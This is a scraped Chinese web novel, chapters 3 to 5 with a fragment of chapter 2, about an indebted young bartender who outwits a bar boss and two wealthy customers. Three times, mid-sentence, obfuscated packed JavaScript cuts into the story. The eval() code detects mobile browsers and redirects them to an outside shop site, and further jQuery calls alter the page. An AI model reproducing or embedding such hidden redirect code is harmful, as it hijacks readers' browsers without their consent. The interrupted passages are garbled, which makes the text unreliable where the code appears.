乔玉一边说,一边伸手去拿酒瓶:“很抱歉,没能让两位尝到店里的特色,我请两杯纯威士忌赔罪,可以吗?” 骨节分明的手指同时夹起两只玻璃杯,轻轻放到吧台上,另一手握着威士忌酒瓶倾斜倒下。 仍然是相当赏心悦目的画面。 找麻烦的客人没接,意味不明地哼笑一声:“听说你之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338125|199263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前在Blues待过?” 乔玉听得心头一跳。 问这个干什么? 另一个男人则眉眼沉沉地打量他。 问的问题更怪:“你身体怎么样?” …… 到底想干嘛啊! 乔玉茫然看着眼前的两个陌生男人。 一个穿休闲西装,浑身透着从容和贵气,一看就是这种场子的常客。 估计是有钱的大少。 另一个眉骨带伤,胡茬青黑,薄薄的白色上衣包裹着结实肌肉,一看就不好惹。 估计是大少的保镖。 ……他懂了。 酒吧新开张,这俩是来找茬砸场子的! “那个……”乔玉咽咽口水,声音压低了,微微发着颤,“哥,我跟你们坦白吧,我才入行,零点是我待过的第一家店,我这点三脚猫功夫,怎么可能进得去Blues。” “对不起啊,刚才是为了哄客人高兴,想挣点小费,才胡说的。”他回答完大少的问题,再扭头看保镖,“但是我身体很好,绝对没有那些乱七八糟的毛病,两位不用担心卫生问题。” “没有乱七八糟的毛病?” 模样精悍的男人向前倾身,手臂支在台面上,重复着他的话,意味深长。 “真、真没有!”冰凉台面挤压着青筋浮动的小臂肌肉,乔玉看得后背凉飕飕,“我们店很正规的,我有健康证和体检报告,两位要看吗?我从小到大都很健康,连感冒都很少!” 商牧钧:“…………” 确实健康。 那就没有什么医学的奇迹。 纯粹是道德的沦丧。 商牧钧面无表情地收回视线。 旁边的梁召睿见这个小骗子竟然如此迅速地认了怂,惊奇之余,倒是来了兴致:“还有健康证呢?拿出来我看看。” “你继续玩吧。”商牧钧懒得管了,索性拿出手机处理堆积的公务。 只是很快,他就后悔说了这句话。 半小时后。 吧台上立着一排高脚杯。 透明冰块,青柠片,薄荷叶,年轻俊秀的调酒师笑容真切。 “哥,这杯莫吉托我请你喝,不收钱。”他把酒杯轻轻推到客人面前,“谢谢你今晚愿意跟我聊这么多,我平时没人教,都是自己瞎琢磨,今天听你说那些,真的学到好多。” “客气什么。”梁召睿已经喝飘了,“你以后有什么不懂的可以问我。” 乔玉眼睛一亮:“真的吗?那我能加你联系方式吗?保证不打扰你,就是偶尔请教一下。” “行啊!”梁召睿半点没犹豫,伸手去摸口袋,“想问就问,没什么打扰的,反正我闲着也是——我靠你抢我手机干嘛!” 商牧钧不止一把夺走了他的手机,还把他整个人提着后领拖到一边。 “你给我清醒一点。”商牧钧刚从工作堆里回过神,哪想到天已经变了,“梁召睿,你是不是忘了什么?” “嘶,你轻点啊!”梁召睿茫然,“忘了什么?” “他是个骗子!”商牧钧的语气比手劲还重。 “……你说那个啊。” 梁召睿想去抢手机,实在抢不过,放弃了,转而去摸兜里的钱包:“其实我觉得你说得对。” “他肯定有苦衷。”梁召睿边说边排出一叠百元大钞,语气还有点扭捏,“你觉得小费只给这些会不会有点抠啊?” 商牧钧:? 3. 第三章 一字排开的百元大钞在空气里闪着耀眼的粉红。 闪闪发亮,触手可及。 那么厚一叠…… 不会都是要给他的小费吧? 乔玉喉结滚了滚,手撑着吧台,支起身子探头出去看财神爷,嗓子又甜又软:“哥!没什么事吧?” “呃……没事!”刚从钱包里拿出钞票的财神爷轻咳两声,匆匆回头一瞥,“朋友跟我说点事,你等会儿啊!” 朋友? 朋友会这么霸道地抢走手机,又提着衣领把人拖走? 要不是那人突如其来的一下子,财神爷现在已经躺在他通讯录里了! “好嘞哥,你先忙!”乔玉微笑应声,若无其事收回视线,“位置给你们俩留着啊!” 夜深了,酒吧生意更加火热,乔玉转身去给其他客人调酒。 手上没停过,视线也没闲着,时不时飘过去,穿过人群,落到财神爷的方向。 光看一身打扮就很有钱的财神爷背对着他,不知在跟那个“朋友”说什么。 那人侧身站着,双手抱臂,透着浓浓的压迫感,下颌线被灯光勾勒得很分明。 冷不丁的,男人抬眸瞥来一眼。 越过光怪陆离的灯色,同他的目光陡然相撞。 那个眼神…… 乔玉心里忽然咯噔一下。 片刻后,梁召睿回到了吧台座位上,压着嗓子道:“老商你就信我一回呗,至少把钱还我啊!” 虽然已经接连失去了手机和现金,但他还在试图争取。 商牧钧低头喝了口威士忌,不为所动。 梁召睿再接再厉:“那小孩真没骗我什么,而且明明是我一直找他麻烦,他就是站在那儿老实调酒,我看他挺不容易的……” 吧台这会儿人头攒动,点酒的人不少,调酒师忙得晕头转向,还拉了其他店员来帮忙。 其中唯独那个脸庞过分年轻的调酒师模样最出挑,不停有人同他搭话:“帅哥,脸看着这么嫩,你们酒吧不会是招的童工吧?” “不会啊,老板哪里敢招童工。”调酒师弯起眼睛,挨个应付,“我成年了。” “真的?那估计也就是刚成年吧。”客人一脸惋惜,“怎么跑来这种地方打工了啊,不喜欢读书?” 调酒师动作一顿:“喜欢啊,只是没得读。” “哎哟,小弟弟,这么说就是找借口了啊。”客人摇头笑笑,“现在都是义务教育,哪来什么没得读……” 客人洋洋洒洒教育了一通,年轻男孩一边调酒一边听着,柔软的黑发贴在额前,沁着薄汗。 “您说得对。”他做完一杯酒,轻轻推过来,“等我挣够了钱,一定回学校读书。” 客人呷了一口,意犹未尽:“挣钱?书读完了再挣啊,你这点年纪,主次要分清楚嘛!” “就是因为分了主次嘛。”年轻男孩好脾气地说,“所以要先挣钱给弟弟治病,家里只剩我们两个了。” “……”客人看着那双天真明媚的眼睛,话音戛然而止。 “不过我肯定能挣够钱,他也肯定能治好的。”调酒师接着说,话音轻快,“您觉得这款酒味道怎么样?应该还可以吧?” 他始终笑盈盈的,只是这次没有等客人回答,便蓦地背过身去。 像是要伸手去拿酒,霓虹灯光滑过白衬衫袖口露出来的一截腕骨,幻彩斑驳,清瘦伶仃。 “——你听听!我就说!”梁召睿酒意上头,听得眼泪都快掉下来了,“这小孩过得多不容易!” 他扯了张纸巾,吸吸鼻子:“刚成年就要辍学出来打工挣钱,我估计这病肯定不好治,没准是那种绝症……你居然还怀疑人家是骗子,商牧钧!你良心不会痛吗!” “绝症?”商牧钧瞥了眼吧台背后那道身影,语气凉凉,“我觉得良心该痛的另有其人。” 人不该反复踩进同一个坑。 “叽里咕噜说什么呢。”梁召睿没听懂,反手又去掏钱包,“算了,跟你讲不通!” 现金虽然被没收了,但还可以刷卡啊!这个小费他必须要给! 酒柜玻璃映出后方的朦胧景象。 正掠过一排排酒瓶的手指陡然停下,乔玉屏住呼吸,目不转睛。 应该是张银行卡,卡片颜色很深。 难道是传说中的黑卡……等等!喂!! 人当然可以反复踩进同一个坑。 ——梁少爷又失去了他的银行卡。 乔玉差点没把牙咬碎,猛地回头。 恰好对上一道同一时间投向他的目光。 音乐鼓点躁动,到处群魔乱舞,男人岿然不动,身影像小山一样罩下来,悍利手臂撑在吧台边,指间夹着抢来的黑卡叩了叩桌面。 “买单。”商牧钧朝面前的空酒杯努了努下巴,似笑非笑地望过来,“别忘了算上你送的两杯威士忌和一杯莫吉托。” 我操。 这个死保镖……! 长得凶了不起啊! 别让我再见到你,否则有你好看的!! “哥你千万别客气!”乔玉露出微笑,毕恭毕敬双手接过卡,“说了送酒就是送酒,不会收钱的,再说你们已经消费了不少,特别给我面子了,今晚一定多坐一会儿,就当再帮我撑撑场面,可以吗?” “我们酒吧新开业不久,晚点还有活动,很热闹的。”说话间,他抬手叫住旁边经过的服务生,“上一份果盘送给客人,最大份的,记得让厨房现切啊!” 服务生应了声匆匆跑开,乔玉拿POS机结完单,把卡和账单一并还给客人,感激一笑。 他看得出来,这个自称姓梁的男人是真的很有钱,谈吐不俗,绝对是个豪门少爷,性格也不错,就是身边紧跟着的保镖太难缠,估计被家里管得很严。 这样有钱又活得窝囊的少爷,最容易遇到麻烦,像是什么跟家里赌气啦,被逼婚啦…… 说不定哪天需要找人帮忙解决麻烦。 出手绝对会很阔绰吧? 他今天一定要加上财神爷的联系方式! 果盘来了,乔玉亲手端到梁少和他的保镖面前,又送了两杯纯威士忌。 然后就转身去忙了,再也没主动跟两人搭过话。 “这酒我是喝不下去了。”梁召睿端起酒杯,还没沾到嘴唇,又幽幽地放下,“良心好痛啊。” “那就别喝了,回家。”商牧钧对他的幽怨视若无睹,看了眼时间,直接起身,“我让司机过来,先送你。” “你等会儿!”梁召睿连忙把他摁回去,“起码再坐一个钟头啊,人家好歹刚送了果盘……我都没给小费,帮着撑撑场子总可以吧?” “我看你是还想再上一次当。”商牧钧斜他一眼。 梁召睿半点不信:“我上什么当了?那小孩什么都没问我要,是我们俩在这儿白吃白喝,你看人家忙得跟我们说话的功夫都没有,能骗我什么?” “不好说。”商牧钧沉吟了一下,“看着吧。” 他也不确定这个骗子到底想干什么,但刚才目光相交那一霎,他很确定自己看到了对方脸上浓浓的不爽,腮帮子都气得鼓出来了,只不过转瞬即逝。 年纪不大,变脸倒是学得很好。 “……”梁召睿也正不爽呢,白他一眼,“看就看。” 梁少爷托着下巴看得很认真。 他拿叉子插了块西瓜,看乔玉给客人调酒:“这回杯子没用错,小孩儿记性真不错啊,我只跟他说过一遍,居然全都记住了。” 又插了块菠萝,看乔玉哄客人开心:“他手藏在下面干嘛呢……嚯!变出朵白玫瑰啊?看着像是纸巾折的……手真巧!怪不得这么多人给他小费,唉,他怎么就没给我变,我也想看魔术啊。” 又插进商牧钧的口袋:“老商,你看那边是什么——嘶!疼疼疼!我就是想拿手机打个电话,不是要给他打钱!” 梁召睿偷袭失败,悻悻缩回手,龇牙咧嘴地揉手腕。 “别看了。”商牧钧当机立断叫停,“再看你魂都飞了,走吧。” 他抽出两张钞票压在果盘底下,不由分说拎着已经喝大了的好友起身。 转身没走两步,人群中忽然爆发出几声尖叫。 叮铃哐啷数声,酒瓶子在地上接连炸响,刺得耳膜嗡嗡作响,玻璃碎片飞溅。 商牧钧脚步一顿。 “你们店就是这么招待客人的?”醉醺醺的男人又摔了个酒瓶子,“这什么服务态度!啊?叫你们老板出来!” 跟他一起来的同伴猛地推了把战战兢兢的服务生,顺手把邻桌的酒杯也砸了,嘴里不干不净地骂着。 旁边一圈顾客立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338126|199263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四周窜开,腾出一片空地,音乐停了,满屋子回荡着发酒疯的声音。 领班匆匆赶过来,他忙了一晚上,大汗淋漓,头上的摩丝都塌了,一脑袋黄毛跟稻草似的。 经过吧台时,黄毛特意揪住乔玉问了一嘴:“喂!是不是你调的酒有问题啊?!” 打得端正的领结被一把揪散,乔玉没反抗,老实摇头:“不是,那桌点的全是基酒,整瓶的。” “最好是跟你没关系,不然小心老板收拾你!”黄毛气冲冲松开手,撸了把袖子,转身要去劝客人。 “等等!”乔玉喊住他,“哥,我觉得你还是先给老板打电话吧。” 黄毛更烦了,眼角一吊:“他让我叫我就叫啊?这点小事也拿去烦老板,你想看我挨揍是不是!” “不是小事。”乔玉语速飞快,“我记得这桌点酒的时候很随便,是照着酒单顺序报的名字,好像根本不在意到底喝什么,可能是故意来闹事的。” 黄毛脸色骤变,快步走到一旁。 很快,他握着手机匆匆回来,略微松了口气:“老板人在附近,马上就到。” 乔玉也跟着松了一口气,瞄了眼刚离开吧台的那两道身影,正要开口。 “还有。”黄毛还在听电话,边听边说,“跟我过来,老板要见你。” 乔玉一惊:“能不能等一下,我还欠客人一杯酒……” 黄毛加重语气:“老板说,现在。” 酒吧里乱成了一锅粥。 看热闹的、劝架的、趁乱发酒疯的……前面堵成了人山人海,一时间挤不出去。 五彩射灯在头顶转着,照出底下的混乱喧嚣。 梁召睿对这种场面太熟了:“八成是同行派人来搅混水砸场子的,啧,看来这家店的老板背后没人罩,这场子迟早要黄。老商,你说我要不要把那个调酒师挖到Blues去啊?” “随你。”商牧钧话音平淡,脸色被四周噪音吵得有些难看,“但我劝你明天酒醒了再做决定。” 目光随之扫过吧台方向时,他怔了怔。 那个调酒师正跟一头黄毛的领班说话,视线恰好也瞥向他们这边,眼里盛着碎光,唇线紧抿,像只被打乱步调的小兽。 商牧钧花了好几秒才想到合适的词,来形容那张白净面孔上转瞬即逝的神情。 是不甘心。 ……在不甘心什么? “我又没喝醉,现在就很清醒啊!我是真的觉得那小孩很……不对,我都还不知道他叫什么名字!全怪你!”梁召睿也扭头看过去,忽然一愣,“他要去哪儿啊,怎么走了?这么早下班了?” 调酒师出了吧台,跟在领班身后,往酒吧侧门的方向走。 那片灯光要稍亮一些,照出有个什么东西跌落在地。 白色的,很显眼。 “喂!”梁召睿下意识喊他,“你东西掉了!” 声音清晰地穿透空气。 调酒师显然听见了,脚步一顿。 他回眸笑了,眼珠又黑又亮,唇边微微上翘,洁白的衬衣领口不知被谁扯松了,掖好的领带从马甲里滑出来,在幽暗的空气里荡出一个漂亮的弧度。 却没有为此折返。 梁召睿看着他的身影消失在门后。 他追过去几步,看清调酒师落下的东西后,失望地叹口气:“连道具都掉了,我今天是铁定看不到魔术了,老商,我恨你。” 商牧钧没有理他。 四周人影晃动,熙熙攘攘,到处光怪陆离,幻彩斑驳。 满是凌乱脚印的地面上,掉了一朵雪白的纸折玫瑰。 高大的身影笼罩在玫瑰之上。 鬼使神差地,商牧钧俯身捡了起来。 用纸巾叠的玫瑰很软,摔过之后,层层叠叠的花瓣更松散,向四周漫开。 写在花瓣上的几行字迹因而愈发清晰。 “看什么呢?”梁召睿探头过来,眼睛蓦地睁大,“上面居然有字……是给我的吧?快还我!” 玫瑰安静躺在商牧钧宽大的掌心。 他低眸凝视,第一行字写得格外端正,青涩忐忑。 ——哥,今天谢谢你。 然后是一串电话号码。 最下面是两个小字。 秀美灵动,恰如其人。 ——小玉。 4. 第四章 夏夜深深,小巷里回荡着蝉鸣,飞虫在路灯光下盘旋,灯下立着几道五大三粗的身影。 眼见着离那几道身影越来越近,乔玉一步三回头:“哥,老板找我是有什么事——唔!” “别磨蹭,小心挨揍!”黄毛重重推了他一把,转头就换了副面孔,冲那边小心翼翼喊,“豹哥,人带过来了!” 巷子尽头,林豹正在打电话,脸上陪着笑,声音压低了:“上回那都是误会嘛,不打不相识,我是个粗人,您大人有大量,千万别跟我计较……行,那我不绕弯子了,听说明天您跟梁公子那边有个局,您看能不能把我给捎上,我保证不惹出乱子……喂?喂?!” “操!”林豹瞪着已经被挂断的手机屏幕,咬牙切齿地往地上啐了一口,“个傻屌!” 旁边的小弟义愤填膺:“豹哥,这事绝对不能就这么算了!那帮混球今天敢派人过来砸场子,就是看准了咱们背后没人,故意往你头上拉屎——” “说说说!”林豹听得更加火大,一耳光抽过去,“就特么你会说!倒是说点有用的啊!” “对不起豹哥!”小弟一个激灵,捂着脸站正了,“那咱们接下来应该怎么办?最好的靠山就是梁家,这条街上一半场子都有他们的份,过得可滋润,但咱们根本搭不上,连想约顿饭都约不到——” “啪!”林豹扬手,横眉竖眼。 “对不起豹哥!”小弟又捂住另一边脸,慌忙找补,“约、约不到也好,省得豹哥你乱说话惹出麻烦,反而得罪了梁公子,那咱们这场子可就真完啦。” “……”林豹手都快抽累了,“给我闭嘴吧你!” “唔唔唔唔唔!”小弟立马闭嘴,余光瞥见迎面过来的两道身影,连忙拽他袖子。 “干什么?”林豹不耐烦地望过去。 巷子灯光昏黄,跟在黄毛身后过来的男孩身形修长,凌乱领口里露出一截白皙锁骨,一张脸漂亮得很惹眼,一看就招人喜欢。 林豹眯了眯眼。 “豹、豹哥好。”乔玉没敢像平时那样笑,声音绷得很紧,“我刚在给客人调酒,听说您找我……” “听黄毛说,是你提醒他那桌人不对劲的?”林豹开口,语气还算和蔼,“脑子转得挺快啊。” “应、应该的。”乔玉低垂着脑袋,一副战战兢兢的样子,“我在您店里干活嘛。” “怎么还磕巴上了?”林豹意有所指,“几个月前,你问我借钱的时候,嘴皮子可利索着呢。” “……”乔玉深吸一口气,不装鹌鹑了,装老实人,“豹哥,欠您的钱我会尽快还上的,这段时间一定在您店里好好干,我保证。” 旁边的黄毛本来垂手听着,也忍不住插嘴:“豹哥,这小子忙活一晚上,卖出去不少酒,可能是刚才跟客人聊天聊累了……” 林豹脸色骤冷,抬手就是一巴掌。 破空甩来,清脆响亮。 黄毛表情一僵。 乔玉猛地缩起脖子。 “是吗?”林豹甩了甩手,上下打量着面前这个能言善道的漂亮男孩,露出个笑容,“这事是我欠考虑,让你成天杵在台子后面调酒,太埋没你了。” 乔玉心里咯噔一下,那股不妙的预感更浓。 “豹哥您别这么说。”他硬着头皮道,“您救了我的急,我一直很感激……” “是啊,豹哥您别这么说。”黄毛又插进来,“这小子连招牌酒都不会调,还有得学呢,哪里埋没——” 啪! 又一巴掌。 乔玉闭紧眼睛,睫羽一颤。 风声擦耳而过,没落到他脸上,他小心翼翼睁开一道缝。 “……不对吧豹哥。”旁边的黄毛捂着两边脸,快被抽懵了,“不是在夸他吗,老打我干什么!” “打的就是你!特么的哪儿来那么多废话!”林豹好一阵骂骂咧咧,“都跟人家小玉好好学学!” 消了火以后,他才重新看向乔玉,笑得和蔼:“小玉啊,场子里暂时不需要你,这一阵你就待在我身边做事,一样算抵债,放心,比调酒轻松,就是跟人吃吃饭聊聊天,你最擅长了嘛。” 这下连黄毛都听懂了。 是要让乔玉去陪酒。 “豹哥!”黄毛扭头看了眼旁边脸色发白的年轻男孩,猛地把人扯到身后,“他就一小孩,啥也不懂,到时候万一说错话,把那些个大老板给惹毛了可咋办,他陪得明白吗他……” “你特么!”林豹扬起手。 呲溜一下,黄毛捂着脸灵活扭身,躲出去好远。 趁两人闹起来的当口,乔玉攥紧掌心,定了定神:“豹哥,我那点本事,也就能哄哄普通客人,哄不了——” “行了,我知道你有多少本事。”林豹揪着黄毛的头发,回头冲他笑,“走吧,还是在等我请你啊?” 灯光下,牢牢摁住黄毛的几个小弟也齐刷刷看过来。 剩下的话全卡在嗓子眼里。 乔玉后背渗了一层汗,打湿洁白衬衣。 小巷一时死寂。 忽然,一阵轻快的铃声响起。 有那么一瞬间,乔玉还以为是刚刚故意留给梁姓少爷的电话号码,被顺利捡起了。 顶着林豹几人不善的目光,他小心翼翼摸出兜里的手机,看清屏幕上的来电人以后,心头蓦地一松。 “豹哥,我、我接个电话。”乔玉低眉顺眼地摁下接通。 耳边霎时响起一道熟悉的男声。 “你到家没啊?”宋见恩问,“这都几点了,你今天到底干嘛去了……” “妈!”乔玉抢着开口,“我今晚不回去了,老板让我加个夜班。” 听筒那头呼吸一滞。 几秒钟后,乔玉假装捂住话筒,对林豹那边道:“豹哥,我妈让我今晚必须回去……” “你妈让你回去?”林豹像听了个笑话,夸张地怪叫一声,“真把自己当小孩了?以为我请你出来玩呢?” 没想到乔玉一听这话,立马跟塞烫手山芋一样,把手机丢了过去:“那、那你跟她说吧豹哥。” “你特么!”林豹没反应过来,条件反射地接住手机,“喂……?” 耳边陡然炸响一阵哭天抢地的叫骂:“你个小王八蛋!我看你是胆子肥了,还敢成宿成宿不回家了!看我不抽死你!” “……”林豹被骂得措手不及,“你等会儿,我不是你儿子!” “不是我儿子?”电话那头的女声一顿,“好哇!现在连妈妈都不认了是不是?我怎么就生了这么个小王八蛋啊,命苦啊——” 呜呜哇哇的声音直穿耳膜,林豹感觉自己要聋了:“你给我闭嘴!我是他老板!” “老板?”女声不哭了,骂得中气十足,“哪家黑心王八蛋老板居然让小孩儿上夜班?!你给我等着!我现在就过来——” 林豹连忙把这个气势汹汹的烫手山芋扔了回去。 “豹哥,怎么样?”乔玉接住手机,眼巴巴地瞅他,“我妈同意我跟你走了吗?” 林豹平白无故挨一通骂,狠狠瞪他一眼:“晚上回去自己解决干净!明天我叫人来接你!” 话没说完,他转身就走,生怕被什么东西缠上了。 最难搞的就是妈妈。 直到一行人的背影消失在视野里,乔玉才敢松一口气,小步往反方向跑。 掌心里攥着的电话还没挂断,他边跑边把手机放到耳边:“喂,没事了。” 电话那头恢复了熟悉的男声,带着点哑:“你又惹上谁了?” “就是老板嘛。”乔玉小声哼唧,“多亏了你,小王八蛋。” “……”宋见恩冷笑一声,“我真是懒得理你。” 啪嗒挂了电话。 耳边只剩下嘟嘟声,乔玉也笑了一下,喘着气回头张望,慌忙加快脚步。 他运气很好地登上了回家的末班公交车。 宋见恩是他以前在孤儿院里认识的朋…… 哦,算不上朋友。 他们俩关系很一般,经常拌嘴,还老是打架。 不过宋见恩有一把好嗓子,还很会模仿别人说话,学得惟妙惟肖,小时候经常用这招把大家逗得前仰后合,把小乔玉羡慕得不行。 他也试着学过,可惜毫无天赋,学得没有宋见恩半分像。 小乔玉一度为这件事恼得直掉眼泪,直到有天看见宋见恩模仿保育员说话时被逮个正着,于是被摁在膝盖上啪啪打屁股的惨样,又破涕为笑了。 学不会也有学不会的好处嘛。 乘车回家的路上,乔玉坐在窗边,一不留神就靠着窗户睡着了。 斑斓夜色辗转过白皙静谧的面颊,他睡得很沉。 二十分钟后,到站了,司机叫醒他。 “谢谢叔叔!”乔玉连忙起身下车,睡眼惺忪,“明天见!” “哎。”司机应了声,按动手刹前冲他挥挥手,“别老这么晚回家!” 乔玉也用力挥挥手,目送公交车驶远,转身往租的房子走。 转了一晚上调酒壶,手腕酸得要命,他使劲揉了揉,忽然想起什么,摸出手机找到一个联系人。 打字:「杨医生,我存的治疗费还够用吗?」 刚发出去没两分钟,杨医生的电话就打过来了。 “小玉啊,跟你说了我睡得晚,有什么事直接给我打电话就行。”杨医生说。 “我知道了杨医生。”乔玉很乖地应声,“没什么事,就是想问问钱还够不够。” “目前没欠费,估计这周末得存一笔进来。”杨医生轻轻叹气,“小玉,我说实话,等到配型的几率很渺茫,治疗效果也越来越差,这么强撑下去真的是个无底洞,你哪来那么多钱往里扔啊……” 杨医生是个好人。 但他是个骗子。 “反正是中的彩票嘛。”乔玉嘻嘻哈哈地笑,“这钱不花白不花。” 杨医生还再想说什么,又听见他说:“我周末会存钱进来的,杨医生,拜托您给他好好治。” 这句说得好认真。 杨医生不劝了,温声应好。 乔玉跟杨医生说了晚安,挂断电话,已经到了租的房子楼下,里面黑漆漆一片。 他左右张望了一下,不敢惊动楼道灯,蹑手蹑脚往里走。 “你给我站住!!” 凭空一声大吼,感应灯啪嗒亮起。 乔玉吓了一跳,拔腿就跑。 明明都上了年纪了,这群人怎么还大晚上的不睡觉啊! “臭小子你别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338127|199263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑!”房东操着鸡毛掸子从一楼房间里闪现出来,“回回催你,回回都跟我说明天一定交,这都几个明天了?!” 乔玉哐哐往楼梯上逃,老头喘着粗气在后面追,气得破口大骂:“要知道你是这个德性,我当初说什么都不会把房子租给你!白长一张好脸,怎么能穷成这样——” 乔玉脚步一顿。 如果不是他长了一张好脸,林豹也不会动让他去陪酒的念头吧。 林豹刚才连一耳光都没舍得打他。 “要是我的脸不好看了。”他忽然喃喃自语,“那我是不是就不好看了?” 房东:? 说点人能听得懂的话吧。 “臭小子!”房东见他不跑了,一把拽住他,“交房租!” “对不起,今天真的交不出来。”乔玉任他拽着,老实地摇头,“等过了这周末,如果手头还有钱,一定给你。” 房东捏紧了鸡毛掸子:“嘿!你当自己是银行呢,还给我排上号了啊?!” 乔玉瞅了眼鸡毛掸子:“叔,你是不是很生气?” “废话!”房东作势高举起来,“再拖下去,你别怪我不客气!” “不用客气。”乔玉把脸凑过去。 “……”房东僵住,“你什么意思??” “打吧叔。”乔玉把脸凑得更近,“打这里,千万不要客气。” 声控感应灯熄灭了,月色照着那双亮晶晶的眼睛,圆得像杏核,黑澄澄的,好似写满渴望。 房东后背僵直,半晌,拔腿就跑。 “那、那就下周再交!”房东一溜烟地往楼下跑,“你给我滚回去睡觉!” 乔玉在后面追,努力挑衅:“下周也不交!气不气?气你就打我——” 房东:“神经病啊!!!” 乔玉遗憾地看着一楼的房门在眼前砰地关上。 老头跑得真快。 怎么就死活不肯打他。 他站在窗前,看着玻璃上自己若隐若现的倒影,忧郁地叹了口气。 只是躲过了今晚,明天林豹还是会带人来抓他。 如果真被林豹带去陪酒吃饭,一旦出点幺蛾子,就不是被打一顿这么简单了,到时候没人救得了他。 他不能去。 可他自己又实在下不了手。 乔玉站在窗前发着呆,对着玻璃仔细照自己的脸。 左看,右看,张嘴看,闭嘴看。 怎么看都完美无瑕。 ……怎么办啊? 唰的一声。 房东躲在窗后,被他吓得魂都快飞了,抖着手,战战兢兢拉上窗帘。 更神经了啊!! 玻璃霎时暗下来。 乔玉恰好张着嘴,窗上倒映出一口白牙。 左边的小虎牙尖尖的,轮廓在月色下分外显眼。 牙……? 乔玉眼睛陡然一亮。 第二天下午。 出租屋房门被拍得震天响:“姓乔的,开门!赶紧的!” 拍门的是林豹的小弟,昨晚被抽了好几耳光,脸微微有点肿,依然是一副义愤填膺的表情。 “我告诉你,别想跑啊!豹哥就在楼下等着——” 话音在房门打开的那一瞬戛然而止。 “我操!”小弟的眼睛瞬间瞪圆了,“你脸怎么回事?!” 乔玉仰着右半张脸,唔唔两声,抓起一张早就准备好的便签纸,举给他看。 纸上写着一行字,小弟立马凑过来看。 他眯着眼看了好一会儿。 然后挠了挠头,嘿嘿一笑:“我不识字。” 乔玉:“…………” 那你一本正经看个屁啊!! “唔唔!”乔玉琢磨了一下,立马掏出手机,找出翻译软件,噼里啪啦打下一行字,点击发音。 机械男声一字一顿地念:“昨天晚上智齿发炎,很痛,所以我去看医生,医生给我拔了牙。” “哦?你别想骗我!”小弟面露怀疑,“智齿是什么齿?没听过!” 机械男声:“……就是一种很没用的牙齿。” “昨晚发的炎?哪有这么巧的事。”小弟听得眉头直皱,“我看你是往嘴里塞了团棉花!” 乔玉立马张大嘴巴给他展示。 看清里面的惨状,小弟噫了一声,打了个冷战,猛地后退一步。 “但是豹哥今天要带你去跟大老板吃饭……”小弟苦恼地抓抓头发,“拔了牙也没事吧,反正你也不是去吃饭的,能把老板聊开心了就行,走,跟我下楼!” …… 服了。 他看着哪里像能说话的样子啊!! 乔玉受不了了,正要埋头打字。 屏幕上突然弹出来电页面。 是个从来没见过的陌生号码,归属地本市。 号码很靓,尾数是连号。 乔玉一愣。 难道是昨晚那个姓梁的财神爷打来的? ……他还真的能说话! 手机在掌心震动,午后日光把男孩肿起的半边脸照得像汤圆,白白胖胖的。 “窝、窝电发响了。”乔玉抽着气艰难开口,话音含糊,眼巴巴地看他,“阔以……结吗?” 5. 第五章 “谁的电话啊?”堵在门口的小弟瞧见他满眼期盼,“有急事?” “唔唔唔!”乔玉连连点头,手指立马去戳接通键。 昨天那个财神爷可能是他这辈子见过最有钱的人了,万一真能发展成客户呢?他绝对不能错过这个机会—— 手指戳了个空。 “再急能急得过豹哥的事?”小弟一把夺走手机,反手往他脑袋上扣了个暴栗,“赶紧的,跟我下楼!” 乔玉眼睁睁看着这通电话被无情挂断。 急得倒吸一口凉气。 “唔唔唔唔!”不能挂啊! 凉丝丝的空气涌进口腔,把伤口浸得更痛了。 楼下,林豹靠在车边等,看到痛得龇牙咧嘴的乔玉被小弟一路拽到面前,指间夹着的香烟啪嗒落地。 “……”他难以置信地揉了把眼睛,“你脸怎么回事?!” “豹哥!”小弟神情一凛,“他说昨晚牙疼,去看医生,医生给他拔了牙。我看过了,是真的拔了!” “我特么问你了吗?”林豹不信,恶狠狠瞪着乔玉,“给我张嘴!说话!” “唔唔!”乔玉被吼得缩了缩脖子,捂着腮帮子,很努力地张嘴说话,“对、对布己,豹科,窝错乐。” …… 这下豹科不得不信了。 他用力按住太阳穴,气得手都在抖,脸色黑如锅底:“我今天晚上好不容易约到了……” “没事豹哥!”小弟立马凑过来,“你看他能说话啊,而且长得比之前好笑多了,肯定能把人聊开心——” 林豹咬牙切齿,高高扬起手。 啪! 五分钟后,车里。 透过后车窗,能看见林豹站在不远处打电话的身影,点头哈腰的。 后座上,乔玉捂着腮帮子,脸向后方撇了撇,小声问:“踏在干嘛?” 旁边的小弟也捂着半边脸,向后望了望,小声答:“在装孙子。” 乔玉:“……喔,酱紫。” 怪不得林豹最爱抽这个小弟。 